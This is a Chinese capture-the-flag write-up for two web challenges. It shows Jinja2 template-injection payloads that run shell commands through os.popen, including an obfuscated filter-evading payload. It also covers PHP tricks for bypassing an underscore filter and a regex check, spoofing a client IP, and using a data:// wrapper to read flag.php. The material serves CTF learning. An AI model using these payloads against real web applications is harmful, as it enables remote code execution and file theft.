[DASCTF]Truman

一些知识点:jinja2与twig在处理数字与字符相乘时的不同,在jinja2中{{7*'7'}}会重复字符串,而在twig中无法使用{{7*'7'}}来进行字符串的重复

在本题测试框输入49可以发现输出了7个7,说明是jinja2模板

关于jinja2的一些payload构造知识:

lipusum:flask的一个方法,在其下的lipsum.__gloabals__含有os模块

popen函数:调用fork()产生子进程,并执行shell运行命令

{{lipsum.__globals__['os'].popen('ls').read()}}这样一个注入调用os模块,执行了ls命令并read读取

attr绕过点号:jinja2的attr()获取对象的属性,用attr绕过点号的语法例:

1
{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()')}}

其中getitem是通过索引获取对象的方法,相当于[]

1.测试49发现jinja2模板

2.确定jinja2模板,fenjing一把梭

3.最终payload:

{%set em='OS'|lower%}{%set mz=lipsum|escape|batch(22)|first|last%}{%set gl=mz*2~'g''lobals'~mz*2%}{%set ge=mz*2~'g''etitem'~mz*2%}{%set bu=mz*2~'builtins'~mz*2%}{%set im=mz*2~'import'~mz*2%}{{((cycler|attr('next')|attr(gl)|attr(ge)(bu)|attr(ge)(im))(em)|attr('p''open'))('tac f''lag')|attr('r''ead')()}}

[MRCTF2020]套娃

网站首页说是测试框,没有东西,ctrl+u之后发现源码:

1
2
3
4
5
6
7
8
9
10
11
<!--
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->

$_SEVER['QUERY_STRING']用于获取url中查询的字符串

如:

example/?b_u_p_t=23333

那么对应的输出是?b_u_p_t=23333

substr_count对字符出现的次数进行计数,%5f是_的16进制,传参不能出现‘_’

第二个if要求$_GET['b_u_p_t']=23333

payload:

1
?b.u.p.t=23333%0a

未开启单行匹配时会自动忽略换行符%0a

访问如图

ctrl+u后是jsFuck编码

解码后发现是post me Merak

获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

​ file_get_contents($_GET[‘2333’]) === ‘todat is a happy day’用data伪协议绕过,client-ip绕过getIP,根据change函数对字符串加密操作

1
2
3
4
5
6
7
8
9
10
<?php
$cstr = "flag.php";
$tmp = "";
for ($i = 0; $i < strlen($cstr); $i++) {
$ch = chr(ord($cstr[$i]) - $i * 2);
$tmp .= $ch;
}
echo base64_encode($tmp);
?>

ZmpdYSZmXGI=

payload:?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI%3D